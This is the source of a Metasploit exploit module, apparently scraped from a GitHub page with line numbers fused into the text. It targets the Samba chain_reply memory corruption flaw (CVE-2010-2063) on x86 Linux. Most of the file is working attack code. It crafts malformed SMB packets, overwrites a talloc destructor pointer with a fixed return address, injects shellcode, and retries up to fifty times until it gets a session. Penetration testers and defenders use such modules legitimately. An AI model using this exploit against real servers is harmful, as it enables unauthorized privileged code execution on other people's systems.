Path: blob/master/modules/exploits/linux/samba/chain_reply.rb
21633 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::SMB::Client9include Msf::Exploit::Brute1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Samba chain_reply Memory Corruption (Linux x86)',16'Description' => %q{17This exploits a memory corruption vulnerability present in Samba versions18prior to 3.3.13. When handling chained response packets, Samba fails to validate19the offset value used when building the next part. By setting this value to a20number larger than the destination buffer size, an attacker can corrupt memory.21Additionally, setting this value to a value smaller than 'smb_wct' (0x24) will22cause the header of the input buffer chunk to be corrupted.2324After close inspection, it appears that 3.0.x versions of Samba are not25exploitable. Since they use an "InputBuffer" size of 0x20441, an attacker cannot26cause memory to be corrupted in an exploitable way. It is possible to corrupt the27heap header of the "InputBuffer", but it didn't seem possible to get the chunk28to be processed again prior to process exit.2930In order to gain code execution, this exploit attempts to overwrite a "talloc31chunk" destructor function pointer.3233This particular module is capable of exploiting the flaw on x86 Linux systems34that do not have the nx memory protection.3536NOTE: It is possible to make exploitation attempts indefinitely since Samba forks37for user sessions in the default configuration.38},39'Author' => [40'Jun Mao', # Initial discovery41'jduck'42],43'License' => MSF_LICENSE,44'References' => [45[ 'CVE', '2010-2063' ],46[ 'OSVDB', '65518' ],47[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=873' ]48],49'Privileged' => true,50'Payload' => {51'Space' => 0x600,52'BadChars' => ''53},54'Platform' => 'linux',55'Targets' => [56[57'Linux (Debian5 3.2.5-4lenny6)',58{59'Offset2' => 0x1fec,60'Bruteforce' =>61{62'Start' => { 'Ret' => 0x081ed5f2 }, # jmp ecx (smbd bin)63'Stop' => { 'Ret' => 0x081ed5f2 },64'Step' => 0x300 # not used65}66}67],68[69'Debugging Target',70{71'Offset2' => 0x1fec,72'Bruteforce' =>73{74'Start' => { 'Ret' => 0xAABBCCDD },75'Stop' => { 'Ret' => 0xAABBCCDD },76'Step' => 0x30077}78}79],80],81'DefaultTarget' => 0,82'DisclosureDate' => '2010-06-16',83'Notes' => {84'Stability' => [CRASH_SERVICE_RESTARTS],85'SideEffects' => [IOC_IN_LOGS],86'Reliability' => [UNRELIABLE_SESSION]87}88)89)9091register_options(92[93Opt::RPORT(139)94]95)9697deregister_options('SMB::ProtocolVersion')98end99100#101# Note: this code is duplicated from lib/rex/proto/smb/client.rb102#103# Authenticate using clear-text passwords104#105def session_setup_clear_ignore_response(user = '', pass = '', domain = '')106data = [ pass, user, domain, simple.client.native_os, simple.client.native_lm ].collect { |a| a + "\x00" }.join('')107108pkt = CONST::SMB_SETUP_LANMAN_PKT.make_struct109simple.client.smb_defaults(pkt['Payload']['SMB'])110111pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX112pkt['Payload']['SMB'].v['Flags1'] = 0x18113pkt['Payload']['SMB'].v['Flags2'] = 0x2001114pkt['Payload']['SMB'].v['WordCount'] = 10115pkt['Payload'].v['AndX'] = 255116pkt['Payload'].v['MaxBuff'] = 0xffdf117pkt['Payload'].v['MaxMPX'] = 2118pkt['Payload'].v['VCNum'] = 1119pkt['Payload'].v['PasswordLen'] = pass.length + 1120pkt['Payload'].v['Capabilities'] = 64121pkt['Payload'].v['SessionKey'] = simple.client.session_id122pkt['Payload'].v['Payload'] = data123124simple.client.smb_send(pkt.to_s)125simple.client.smb_recv_parse(CONST::SMB_COM_SESSION_SETUP_ANDX, true)126end127128def brute_exploit(addrs)129curr_ret = addrs['Ret']130131# Although ecx always points at our buffer, sometimes the heap data gets modified132# and nips off the final byte of our 5 byte jump :(133#134# Solution: try repeatedly until we win.135#13650.times do137begin138print_status('Trying return address 0x%.8x...' % curr_ret)139140connect(versions: [1])141simple.client.session_id = rand(31337)142143# select(nil,nil,nil,2)144# puts "press any key"; $stdin.gets145146#147# This allows us to allocate a talloc_chunk after the input buffer.148# If doing so fails, we are lost ...149#15010.times do151session_setup_clear_ignore_response('', '', '')152end153154# We re-use a pointer from the stack and jump back to our original "inbuf"155distance = target['Offset2'] - 0x80156jmp_back = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-#{distance}").encode_string157158tlen = 0xc00159trans =160"\x00\x04" \161"\x08\x20" \162"\xff" + 'SMB' +163# SMBlogoffX164[0x74].pack('V') +165# tc->next, tc->prev166jmp_back + ("\x42" * 3) +167# ("A" * 4) + ("B" * 4) +168# tc->parent, tc->child169'CCCCDDDD' +170# tc->refs, must be zero171("\x00" * 4) +172# over writes tc->destructor173[addrs['Ret']].pack('V') +174"\x00\x00\x00\x00" \175"\xd0\x07\x0c\x00" \176"\xd0\x07\x0c\x00" \177"\x00\x00\x00\x00" \178"\x00\x00\x00\x00" \179"\x00\x00\xd0\x07" \180"\x43\x00\x0c\x00" \181"\x14\x08\x01\x00" \182"\x00\x00\x00\x00" \183"\x00\x00\x00\x00" \184"\x00\x00\x00\x00" \185"\x00\x00\x00\x00" \186"\x00\x00\x00\x00" \187"\x00\x00\x00\x00" \188"\x00\x00\x00\x00" \189"\x00\x00\x90"190191# We put the shellcode first, since only part of this packet makes it into memory.192trans << payload.encoded193trans << rand_text(tlen - trans.length)194195# Set what eventually becomes 'smb_off2' to our unvalidated offset value.196smb_off2 = target['Offset2']197trans[39, 2] = [smb_off2].pack('v')198199sock.put(trans)200rescue EOFError => e201vprint_error(e.message)202rescue StandardError => e203print_error(e.to_s)204end205206handler207disconnect208209# See if we won yet..210select(nil, nil, nil, 1)211break if session_created?212end213end214end215216217